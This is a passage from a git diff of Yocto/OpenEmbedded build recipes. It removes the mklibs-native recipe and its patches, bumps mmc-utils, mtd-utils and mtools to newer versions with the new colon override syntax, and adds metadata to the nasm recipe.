-- self.weak, self.library = weak, library
-+ self.weak, self.library, self.object = weak, library, object
-
- def symbol_is_blacklisted(name):
- # The ARM Embedded ABI spec states symbols under this namespace as
-@@ -152,6 +152,11 @@ def undefined_symbols(obj):
-
- output = command("mklibs-readelf", "--print-symbols-undefined", obj)
-
-+ if len(obj) > len(dest_path) and obj[:len(dest_path)] == dest_path:
-+ object = obj[len(dest_path) + 1:-len('-so-stripped')]
-+ else:
-+ object = obj
-+
- result = []
- for line in output:
- name, weak_string, version_string, library_string = line.split()[:4]
-@@ -171,7 +176,7 @@ def undefined_symbols(obj):
- if library_string.lower() != 'none':
- library = library_string
-
-- result.append(UndefinedSymbol(name, weak, version, library))
-+ result.append(UndefinedSymbol(name, weak, version, library, object))
-
- return result
-
-@@ -498,12 +503,13 @@ while 1:
- and re.search("^ps_", str(symbol)))
- and not (re.search("ld-linux.so.3$", str(symbol)))
- and not (re.search("^__gnu_local_gp", str(symbol)))):
-- debug(DEBUG_SPAM, "needed_symbols adding %s, weak: %s" % (symbol, symbol.weak))
-+ debug(DEBUG_SPAM, "needed_symbols adding %s, weak: %s, for %s" % (symbol, symbol.weak, obj))
- needed_symbols[str(symbol)] = symbol
- libraries.update(library_depends(obj))
-
- # calculate what symbols are present in small_libs and available_libs
- present_symbols = {}
-+ present_symbol_progs = {}
- checked_libs = small_libs
- checked_libs.extend(available_libs)
- checked_libs.append(sysroot + ldlib)
-@@ -513,6 +519,12 @@ while 1:
- names = symbol.base_names()
- for name in names:
- present_symbols[name] = symbol
-+ if not so_pattern.match(lib):
-+ debug(DEBUG_SPAM, "present_symbol_progs adding %s, from executable %s" % (' '.join(names), lib))
-+ for name in names:
-+ progs = present_symbol_progs.get(name, set())
-+ progs.add(lib)
-+ present_symbol_progs[name] = progs
-
- # are we finished?
- num_unresolved = 0
-@@ -568,6 +580,14 @@ while 1:
- for name in needed_symbols:
- if not name in symbol_provider:
- if not needed_symbols[name].weak:
-+ # WORKAROUND: Undefined symbols in a library can be provided by the application
-+ # that links to the library. So if the object which requires the symbol is a library
-+ # and some application can provide the symbol, the undefined symbol is skipped.
-+ symbol = needed_symbols[name]
-+ if so_pattern.match(symbol.object) and present_symbol_progs.get(name, None):
-+ debug(DEBUG_SPAM, "symbol %s in library %s is provided by executable %s" \
-+ % (name, symbol.object, ' '.join(present_symbol_progs[name])))
-+ continue
- raise Exception("No library provides non-weak %s" % name)
- else:
- lib = symbol_provider[name]
---
-2.16.1
-
diff --git a/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch b/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch
deleted file mode 100644
index d27a48916d..0000000000
--- a/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-The libc6-dev in Ubuntu 9.04 is so old that the elf.h doesn't
-define STT_GNU_IFUNC, so we have to define it ourselves.
-
-Upstream-Status: Inappropriate [other] - old release specific, maybe removable
-
--- Dexuan Cui (dexuan.cui@intel.com) Feb 16, 2011.
-
-diff --git a/src/mklibs-readelf/main.cpp b/src/mklibs-readelf/main.cpp
-index 2444c39..56d93f8 100644
---- a/src/mklibs-readelf/main.cpp
-+++ b/src/mklibs-readelf/main.cpp
-@@ -6,6 +6,14 @@
- #include <vector>
-
- #include <elf.h>
-+/*
-+ * The /usr/include/elf.h in some distributions(like Ubuntu 9.04) doesn't
-+ * define the macro. We need to define it here.
-+ */
-+#ifndef STT_GNU_IFUNC
-+#define STT_GNU_IFUNC 10 /* Symbol is indirect code object */
-+#endif
-+
- #include <getopt.h>
-
- #include "elf.hpp"
diff --git a/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch b/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch
deleted file mode 100644
index 13e4606b80..0000000000
--- a/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-Remove dependency on dpkg
-
-Upstream-Status: Submitted
-
-Asking the host OS whether it supports multiarch is not useful
-in a cross-compilation environment, or if the user has specified
-a libdir explicitly. So this patch, based on the work of Mentor
-Graphics, removes mklibs's dependency on dpkg package.
-
-Signed-off-by: Yuanjie Huang <Yuanjie.Huang@windriver.com>
- src/mklibs | 30 +++++++++++++++++++-----------
- 1 file changed, 19 insertions(+), 11 deletions(-)
-
-diff --git a/src/mklibs b/src/mklibs
-index d9b784b..c5614ea 100755
---- a/src/mklibs
-+++ b/src/mklibs
-@@ -261,6 +261,11 @@ def extract_soname(so_file):
- return ""
-
- def multiarch(paths):
-+ # Asking the host OS whether it supports multiarch is not useful
-+ # in a cross-compilation environment, or if the user has specified
-+ # a libdir explicitly.
-+ if sysroot != "" or libdir != "":
-+ return paths
- devnull = open('/dev/null', 'w')
- dpkg_architecture = subprocess.Popen(
- ['dpkg-architecture', '-qDEB_HOST_MULTIARCH'],
-@@ -340,7 +345,7 @@ lib_path = []
- dest_path = "DEST"
- ldlib = "LDLIB"
- include_default_lib_path = "yes"
--default_lib_path = multiarch(["/lib/", "/usr/lib/", "/usr/X11R6/lib/"])
-+default_lib_path = ["/lib/", "/usr/lib/", "/usr/X11R6/lib/"]
- libc_extras_dir = "/usr/lib/libc_pic"
- libc_extras_dir_default = True
- libdir = "lib"
-@@ -386,7 +391,7 @@ for opt, arg in optlist:
- elif opt == "--libdir":
- libdir = arg
- elif opt in ("--help", "-h"):
-- usage(0)
-+ usage(0)
- sys.exit(0)
- elif opt in ("--version", "-V"):
- version(vers)
-@@ -395,6 +400,7 @@ for opt, arg in optlist:
- print "WARNING: unknown option: " + opt + "\targ: " + arg
-
- if include_default_lib_path == "yes":
-+ default_lib_path = multiarch(default_lib_path)
- lib_path.extend([a.replace("/lib/", "/" + libdir + "/") for a in default_lib_path])
-
- if libc_extras_dir_default:
-@@ -661,16 +669,16 @@ ld_path_name = os.path.dirname(ldlib)
- ld_full_path = "../" + ldlib
- ld_file = find_lib(ld_file_name)
-
--if ld_path_name != "/lib":
-- if os.access(dest_path + "/" + ld_file_name, os.F_OK):
-- os.remove(dest_path + "/" + ld_file_name)
-+#if ld_path_name != "/lib":
-+# if os.access(dest_path + "/" + ld_file_name, os.F_OK):
-+# os.remove(dest_path + "/" + ld_file_name)
-
--if not os.path.exists(dest_path + "/../" + ld_path_name):
-- os.mkdir(dest_path + "/../" + ld_path_name)
-+#if not os.path.exists(dest_path + "/../" + ld_path_name):
-+# os.mkdir(dest_path + "/../" + ld_path_name)
-
--if not os.access(dest_path + "/" + ld_full_path, os.F_OK):
-- debug(DEBUG_NORMAL, "I: stripping and copying dynamic linker to " + ld_full_path)
-+if not os.access(dest_path + "/" + ld_file_name, os.F_OK):
-+ debug(DEBUG_NORMAL, "I: stripping and copying dynamic linker to " + ld_file_name)
- command(target + "objcopy", "--strip-unneeded -R .note -R .comment",
-- ld_file, dest_path + "/" + ld_full_path)
-+ ld_file, dest_path + "/" + ld_file_name)
-
--os.chmod(dest_path + "/" + ld_full_path, 0755)
-+os.chmod(dest_path + "/" + ld_file_name, 0755)
diff --git a/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch b/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch
deleted file mode 100644
index bc56593e6a..0000000000
--- a/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From eddf04c7f8312e9c29cdb24e431b7e4fb2cc70ed Mon Sep 17 00:00:00 2001
-From: Yuanjie Huang <yuanjie.huang@windriver.com>
-Date: Wed, 15 Apr 2015 14:00:06 +0800
-Subject: [PATCH] Show GNU unique symbols as provided symbols
-
-Upstream-Status: Submitted
-
-GNU Unique symbol is a GNU extension employed by new version of GCC
-by default. Even Standard C++ library in GCC 4.9 provides some symbols,
-such as _ZNSs4_Rep20_S_empty_rep_storageE in this binding type instead
-of ELF standard weak binding.
-This patch adds support of this new binding type to mklibs-readelf.
-
-Signed-off-by: Yuanjie Huang <yuanjie.huang@windriver.com>
----
- src/mklibs-readelf/main.cpp | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/mklibs-readelf/main.cpp b/src/mklibs-readelf/main.cpp
-index 56d93f8..0134530 100644
---- a/src/mklibs-readelf/main.cpp
-+++ b/src/mklibs-readelf/main.cpp
-@@ -88,7 +88,7 @@ static void process_symbols_provided (const Elf::section_type<Elf::section_type_
- uint8_t type = symbol->get_type ();
- const std::string &name = symbol->get_name_string ();
-
-- if (bind != STB_GLOBAL && bind != STB_WEAK)
-+ if (bind != STB_GLOBAL && bind != STB_WEAK && bind != STB_GNU_UNIQUE)
- continue;
- if (shndx == SHN_UNDEF || shndx == SHN_ABS)
- continue;
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch b/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch
deleted file mode 100644
index 75500a029a..0000000000
--- a/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-In cross builds we will have to respect sysroot
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: mklibs-0.1.39/src/mklibs
-===================================================================
---- mklibs-0.1.39.orig/src/mklibs 2014-03-01 18:25:36.000000000 +0000
-+++ mklibs-0.1.39/src/mklibs 2014-10-19 00:51:46.813534596 +0000
-@@ -495,7 +495,7 @@
- present_symbols = {}
- checked_libs = small_libs
- checked_libs.extend(available_libs)
-- checked_libs.append(ldlib)
-+ checked_libs.append(sysroot + ldlib)
- for lib in checked_libs:
- for symbol in provided_symbols(lib):
- debug(DEBUG_SPAM, "present_symbols adding %s" % symbol)
diff --git a/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb b/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb
deleted file mode 100644
index 1784af1f4c..0000000000
--- a/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Shared library optimisation tool"
-DESCRIPTION = "mklibs produces cut-down shared libraries that contain only the routines required by a particular set of executables."
-HOMEPAGE = "https://launchpad.net/mklibs"
-SECTION = "devel"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=98d31037b13d896e33890738ef01af64"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20180828T214102Z/pool/main/m/mklibs/mklibs_${PV}.tar.xz \
- file://ac_init_fix.patch\
- file://fix_STT_GNU_IFUNC.patch\
- file://sysrooted-ldso.patch \
- file://avoid-failure-on-symbol-provided-by-application.patch \
- file://show-GNU-unique-symbols-as-provided-symbols.patch \
- file://fix_cross_compile.patch \
-"
-
-SRC_URI[md5sum] = "6b6eeb9b4016c6a7317acc28c89e32cc"
-SRC_URI[sha256sum] = "3af0b6bd35e5b6fc58d8b68827fbae2ff6b7e20dd2b238ccb9b49d84722066c2"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/m/mklibs/"
-
-inherit autotools gettext native
diff --git a/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch b/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch
deleted file mode 100644
index 12707357b2..0000000000
--- a/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 04fbe6ddb5f1e02efbcae3cdf5beb16757a98948 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 10 May 2019 12:58:01 -0700
-Subject: [PATCH] mmc_cmd.c: Use extra braces when initializing subobjects
-
-clang warns with -Werror,-Wmissing-braces, as following error
-| mmc_cmds.c:1886:36: error: suggest braces around initialization of subobject [-Werror,-W
-missing-braces]
-| struct rpmb_frame frame_status = {0};
-| ^
-| {}
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- mmc_cmds.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/mmc_cmds.c b/mmc_cmds.c
-index 19a9da1..838e8c3 100644
---- a/mmc_cmds.c
-+++ b/mmc_cmds.c
-@@ -1883,7 +1883,7 @@ static int do_rpmb_op(int fd,
- u_int16_t rpmb_type;
- struct mmc_ioc_multi_cmd *mioc;
- struct mmc_ioc_cmd *ioc;
-- struct rpmb_frame frame_status = {0};
-+ struct rpmb_frame frame_status = {{0}};
-
- if (!frame_in || !frame_out || !out_cnt)
- return -EINVAL;
diff --git a/meta/recipes-devtools/mmc/mmc-utils_git.bb b/meta/recipes-devtools/mmc/mmc-utils_git.bb
index 5fd1c5c0cd..507d5c4466 100644
--- a/meta/recipes-devtools/mmc/mmc-utils_git.bb
+++ b/meta/recipes-devtools/mmc/mmc-utils_git.bb
@@ -1,23 +1,22 @@
SUMMARY = "Userspace tools for MMC/SD devices"
HOMEPAGE = "http://git.kernel.org/cgit/linux/kernel/git/cjb/mmc-utils.git/"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://mmc.c;beginline=1;endline=20;md5=fae32792e20f4d27ade1c5a762d16b7d"
SRCBRANCH ?= "master"
-SRCREV = "73d6c59af8d1bcedf5de4aa1f5d5b7f765f545f5"
+SRCREV = "a1b233c2a31baa5b77cb67c0c3be4767be86f727"
PV = "0.1+git${SRCPV}"
-SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/cjb/mmc-utils.git;branch=${SRCBRANCH} \
- file://0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch \
- "
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/cjb/mmc-utils.git;branch=${SRCBRANCH}"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn32 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn32 = " -D__SANE_USERSPACE_TYPES__"
do_install() {
install -d ${D}${bindir}
diff --git a/meta/recipes-devtools/mtd/mtd-utils_git.bb b/meta/recipes-devtools/mtd/mtd-utils_git.bb
index 8d6bbfca3f..2004572375 100644
--- a/meta/recipes-devtools/mtd/mtd-utils_git.bb
+++ b/meta/recipes-devtools/mtd/mtd-utils_git.bb
@@ -1,5 +1,6 @@
SUMMARY = "Tools for managing memory technology devices"
HOMEPAGE = "http://www.linux-mtd.infradead.org/"
+DESCRIPTION = "mtd-utils tool is a generic Linux subsystem for memory devices, especially Flash devices."
SECTION = "base"
LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
@@ -8,19 +9,17 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
inherit autotools pkgconfig update-alternatives
DEPENDS = "zlib e2fsprogs util-linux"
-RDEPENDS_mtd-utils-tests += "bash"
+RDEPENDS:mtd-utils-tests += "bash"
-PV = "2.1.2"
+PV = "2.1.3"
-SRCREV = "7b986779342021bda87c04da3bf729718736d8ab"
-SRC_URI = "git://git.infradead.org/mtd-utils.git \
+SRCREV = "42ea7cd48d2b3c306d59bb6c530d79f8c25bf9f5"
+SRC_URI = "git://git.infradead.org/mtd-utils.git;branch=master \
file://add-exclusion-to-mkfs-jffs2-git-2.patch \
"
S = "${WORKDIR}/git"
-EXTRA_OECONF += "--enable-install-tests"
-
# xattr support creates an additional compile-time dependency on acl because
# the sys/acl.h header is needed. libacl is not needed and thus enabling xattr
# regardless whether acl is enabled or disabled in the distro should be okay.
@@ -32,21 +31,19 @@ PACKAGECONFIG[jffs] = "--with-jffs,--without-jffs"
PACKAGECONFIG[ubifs] = "--with-ubifs,--without-ubifs"
PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
-CPPFLAGS_append_riscv64 = " -pthread -D_REENTRANT"
+CPPFLAGS:append:riscv64 = " -pthread -D_REENTRANT"
EXTRA_OEMAKE = "'CC=${CC}' 'RANLIB=${RANLIB}' 'AR=${AR}' 'CFLAGS=${CFLAGS} ${@bb.utils.contains('PACKAGECONFIG', 'xattr', '', '-DWITHOUT_XATTR', d)} -I${S}/include' 'BUILDDIR=${S}'"
# Use higher priority than corresponding BusyBox-provided applets
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "flashcp flash_eraseall flash_lock flash_unlock nanddump nandwrite"
-ALTERNATIVE_${PN}-ubifs = "ubiattach ubidetach ubimkvol ubirename ubirmvol ubirsvol ubiupdatevol"
+ALTERNATIVE:${PN} = "flashcp flash_eraseall flash_lock flash_unlock nanddump nandwrite"
+ALTERNATIVE:${PN}-ubifs = "ubiattach ubidetach ubimkvol ubirename ubirmvol ubirsvol ubiupdatevol"
-ALTERNATIVE_LINK_NAME[flash_eraseall] = "${sbindir}/flash_eraseall"
ALTERNATIVE_LINK_NAME[nandwrite] = "${sbindir}/nandwrite"
ALTERNATIVE_LINK_NAME[nanddump] = "${sbindir}/nanddump"
ALTERNATIVE_LINK_NAME[ubiattach] = "${sbindir}/ubiattach"
-ALTERNATIVE_LINK_NAME[ubiattach] = "${sbindir}/ubiattach"
ALTERNATIVE_LINK_NAME[ubidetach] = "${sbindir}/ubidetach"
ALTERNATIVE_LINK_NAME[ubimkvol] = "${sbindir}/ubimkvol"
ALTERNATIVE_LINK_NAME[ubirename] = "${sbindir}/ubirename"
@@ -66,10 +63,10 @@ PACKAGES =+ "mtd-utils-misc mtd-utils-tests"
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "jffs", "mtd-utils-jffs2", "", d)}"
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "ubifs", "mtd-utils-ubifs", "", d)}"
-FILES_mtd-utils-jffs2 = "${sbindir}/mkfs.jffs2 ${sbindir}/jffs2dump ${sbindir}/jffs2reader ${sbindir}/sumtool"
-FILES_mtd-utils-ubifs = "${sbindir}/mkfs.ubifs ${sbindir}/ubi*"
-FILES_mtd-utils-misc = "${sbindir}/nftl* ${sbindir}/ftl* ${sbindir}/rfd* ${sbindir}/doc* ${sbindir}/serve_image ${sbindir}/recv_image"
-FILES_mtd-utils-tests = "${libexecdir}/mtd-utils/*"
+FILES:mtd-utils-jffs2 = "${sbindir}/mkfs.jffs2 ${sbindir}/jffs2dump ${sbindir}/jffs2reader ${sbindir}/sumtool"
+FILES:mtd-utils-ubifs = "${sbindir}/mkfs.ubifs ${sbindir}/ubi*"
+FILES:mtd-utils-misc = "${sbindir}/nftl* ${sbindir}/ftl* ${sbindir}/rfd* ${sbindir}/doc* ${sbindir}/serve_image ${sbindir}/recv_image"
+FILES:mtd-utils-tests = "${libexecdir}/mtd-utils/*"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch b/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
index 4705890157..8041b13ae0 100644
--- a/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
+++ b/meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch
@@ -1,4 +1,4 @@
-From c61a3df892ba88d9f3f84c1844481457a04b051f Mon Sep 17 00:00:00 2001
+From dc11f3e7bdfa524a3e395a0f9d5e035dbc40c047 Mon Sep 17 00:00:00 2001
From: Ed Bartosh <ed.bartosh@linux.intel.com>
Date: Tue, 13 Jun 2017 14:55:52 +0300
Subject: [PATCH] Disabled reading host configs.
@@ -12,10 +12,10 @@ Signed-off-by: Ed Bartosh <ed.bartosh@linux.intel.com>
1 file changed, 8 deletions(-)
diff --git a/config.c b/config.c
-index 46af755..5ed9114 100644
+index 173eae0..0654cc1 100644
--- a/config.c
+++ b/config.c
-@@ -737,14 +737,6 @@ void read_config(void)
+@@ -836,14 +836,6 @@ void read_config(void)
memcpy(devices, const_devices,
nr_const_devices*sizeof(struct device));
diff --git a/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch b/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
index 8ceb0af136..6ae91d6cb9 100644
--- a/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
+++ b/meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch
@@ -1,9 +1,48 @@
+From 3cf56b36db78679273f61ba78fbbf7f3fab52f68 Mon Sep 17 00:00:00 2001
+From: Marcin Juszkiewicz <hrw@openedhand.com>
+Date: Fri, 8 Jun 2007 08:35:12 +0000
+Subject: [PATCH] mtools: imported from OE
+
Upstream-Status: Inappropriate [licensing]
-Index: mtools-4.0.18/configure.in
-===================================================================
---- mtools-4.0.18.orig/configure.in
-+++ mtools-4.0.18/configure.in
+---
+ Makefile.in | 11 ++++++-----
+ configure.in | 27 +++++++++++++++++++++++++++
+ 2 files changed, 33 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index 616d59f..85b5b1d 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -26,10 +26,11 @@ USERCFLAGS =
+ USERLDFLAGS =
+ USERLDLIBS =
+
+-MAKEINFO = makeinfo
+-TEXI2DVI = texi2dvi
+-TEXI2PDF = texi2pdf
+-TEXI2HTML = texi2html
++MAKEINFO = @MAKEINFO@
++TEXI2DVI = @TEXI2DVI@
++TEXI2PDF = @TEXI2PDF@
++TEXI2HTML = @TEXI2HTML@
++DVI2PS = @DVI2PS@
+
+
+ # do not edit below this line
+@@ -199,7 +200,7 @@ dvi: mtools.dvi
+
+ ps: mtools.ps
+ %.ps: %.dvi
+- dvips -f < $< > $@
++ $(DVI2PS) -f < $< > $@
+
+ pdf: mtools.pdf
+ %.pdf: %.texi sysconfdir.texi
+diff --git a/configure.in b/configure.in
+index 5ff75c1..c0f7440 100644
+--- a/configure.in
++++ b/configure.in
@@ -35,6 +35,33 @@ AC_CANONICAL_SYSTEM
AC_C_CONST
AC_C_INLINE
@@ -35,35 +74,6 @@ Index: mtools-4.0.18/configure.in
+AC_SUBST(TEXI2HTML)
+AC_SUBST(DVI2PS)
+
-
dnl Check for configuration options
dnl Enable OS/2 extended density format disks
-Index: mtools-4.0.18/Makefile.in
-===================================================================
---- mtools-4.0.18.orig/Makefile.in
-+++ mtools-4.0.18/Makefile.in
-@@ -26,10 +26,11 @@ USERCFLAGS =
- USERLDFLAGS =
- USERLDLIBS =
-
--MAKEINFO = makeinfo
--TEXI2DVI = texi2dvi
--TEXI2PDF = texi2pdf
--TEXI2HTML = texi2html
-+MAKEINFO = @MAKEINFO@
-+TEXI2DVI = @TEXI2DVI@
-+TEXI2PDF = @TEXI2PDF@
-+TEXI2HTML = @TEXI2HTML@
-+DVI2PS = @DVI2PS@
-
-
- # do not edit below this line
-@@ -198,7 +199,7 @@ dvi: mtools.dvi
-
- ps: mtools.ps
- %.ps: %.dvi
-- dvips -f < $< > $@
-+ $(DVI2PS) -f < $< > $@
-
- pdf: mtools.pdf
- %.pdf: %.texi sysconfdir.texi
+ AC_ARG_ENABLE(xdf,
diff --git a/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch b/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch
deleted file mode 100644
index 9cb3e39f5c..0000000000
--- a/meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Disable building with X11 support.
-
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-diff -urN mtools-4.0.15.orig//Makefile.in mtools-4.0.15//Makefile.in
---- mtools-4.0.15.orig//Makefile.in 2010-10-17 08:41:09.000000000 -0700
-+++ mtools-4.0.15//Makefile.in 2010-11-23 13:59:49.258258374 -0800
-@@ -146,7 +146,7 @@
- CXXFLAGS = $(CPPFLAGS) $(DEFS) $(MYCXXFLAGS) -I. @extraincludedir@ -I@srcdir@ $(USERCFLAGS)
- LINK = $(CC) $(LDFLAGS) $(USERLDFLAGS) @extralibdir@
- ALLLIBS = $(USERLDLIBS) $(MACHDEPLIBS) $(SHLIB) $(LIBS)
--X_LDFLAGS = $(X_EXTRA_LIBS) $(X_LIBS) -lXau -lX11 $(LIBS)
-+X_LDFLAGS = $(X_EXTRA_LIBS) $(X_LIBS) $(LIBS)
- X_CCFLAGS = $(X_CFLAGS) $(CFLAGS)
-
- all: mtools $(LINKS) mkmanifest @FLOPPYD@ mtools.1 mtools.5
diff --git a/meta/recipes-devtools/mtools/mtools_4.0.25.bb b/meta/recipes-devtools/mtools/mtools_4.0.25.bb
deleted file mode 100644
index bca33a28ee..0000000000
--- a/meta/recipes-devtools/mtools/mtools_4.0.25.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Utilities to access MS-DOS disks without mounting them"
-DESCRIPTION = "Mtools is a collection of utilities to access MS-DOS disks from GNU and Unix without mounting them."
-HOMEPAGE = "http://www.gnu.org/software/mtools/"
-SECTION = "optional"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS += "virtual/libiconv"
-
-RDEPENDS_${PN}_libc-glibc = "glibc-gconv-ibm850"
-RRECOMMENDS_${PN}_libc-glibc = "\
- glibc-gconv-ibm437 \
- glibc-gconv-ibm737 \
- glibc-gconv-ibm775 \
- glibc-gconv-ibm851 \
- glibc-gconv-ibm852 \
- glibc-gconv-ibm855 \
- glibc-gconv-ibm857 \
- glibc-gconv-ibm860 \
- glibc-gconv-ibm861 \
- glibc-gconv-ibm862 \
- glibc-gconv-ibm863 \
- glibc-gconv-ibm865 \
- glibc-gconv-ibm866 \
- glibc-gconv-ibm869 \
- "
-SRC_URI[sha256sum] = "fd161eec3bb7a93d13936db67725ad3e17f2d5f4e6fa8f7667fbc7ac728e2c15"
-
-SRC_URI = "${GNU_MIRROR}/mtools/mtools-${PV}.tar.bz2 \
- file://mtools-makeinfo.patch \
- file://no-x11.gplv3.patch \
- file://clang_UNUSED.patch \
- "
-
-SRC_URI_append_class-native = " file://disable-hardcoded-configs.patch"
-
-inherit autotools texinfo
-
-EXTRA_OECONF = "--without-x"
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[libbsd] = "ac_cv_lib_bsd_main=yes,ac_cv_lib_bsd_main=no,libbsd"
-
-do_install_prepend () {
- # Create bindir to fix parallel installation issues
- mkdir -p ${D}/${bindir}
- mkdir -p ${D}/${datadir}
-}
diff --git a/meta/recipes-devtools/mtools/mtools_4.0.36.bb b/meta/recipes-devtools/mtools/mtools_4.0.36.bb
new file mode 100644
index 0000000000..c214b9b859
--- /dev/null
+++ b/meta/recipes-devtools/mtools/mtools_4.0.36.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Utilities to access MS-DOS disks without mounting them"
+DESCRIPTION = "Mtools is a collection of utilities to access MS-DOS disks from GNU and Unix without mounting them."
+HOMEPAGE = "http://www.gnu.org/software/mtools/"
+SECTION = "optional"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+DEPENDS += "virtual/libiconv"
+
+RDEPENDS:${PN}:libc-glibc = "glibc-gconv-ibm850"
+RRECOMMENDS:${PN}:libc-glibc = "\
+ glibc-gconv-ibm437 \
+ glibc-gconv-ibm737 \
+ glibc-gconv-ibm775 \
+ glibc-gconv-ibm851 \
+ glibc-gconv-ibm852 \
+ glibc-gconv-ibm855 \
+ glibc-gconv-ibm857 \
+ glibc-gconv-ibm860 \
+ glibc-gconv-ibm861 \
+ glibc-gconv-ibm862 \
+ glibc-gconv-ibm863 \
+ glibc-gconv-ibm865 \
+ glibc-gconv-ibm866 \
+ glibc-gconv-ibm869 \
+ "
+SRC_URI[sha256sum] = "e5c0e5adf2dfbb9f72649d3a8299ff6fb73f269f8330a2975d91bcc5055240f4"
+
+SRC_URI = "${GNU_MIRROR}/mtools/mtools-${PV}.tar.bz2 \
+ file://mtools-makeinfo.patch \
+ file://clang_UNUSED.patch \
+ "
+
+SRC_URI:append:class-native = " file://disable-hardcoded-configs.patch"
+
+inherit autotools texinfo
+
+EXTRA_OECONF = "--without-x"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[libbsd] = "ac_cv_lib_bsd_main=yes,ac_cv_lib_bsd_main=no,libbsd"
+
+do_install:prepend () {
+ # Create bindir to fix parallel installation issues
+ mkdir -p ${D}/${bindir}
+ mkdir -p ${D}/${datadir}
+}
diff --git a/meta/recipes-devtools/nasm/nasm_2.15.05.bb b/meta/recipes-devtools/nasm/nasm_2.15.05.bb
index 6a1294c34f..edc17aeebf 100644
--- a/meta/recipes-devtools/nasm/nasm_2.15.05.bb
+++ b/meta/recipes-devtools/nasm/nasm_2.15.05.bb
@@ -1,5 +1,7 @@
SUMMARY = "General-purpose x86 assembler"
SECTION = "devel"
+HOMEPAGE = "http://www.nasm.us/"
+DESCRIPTION = "The Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture."
LICENSE = "BSD-2-Clause"
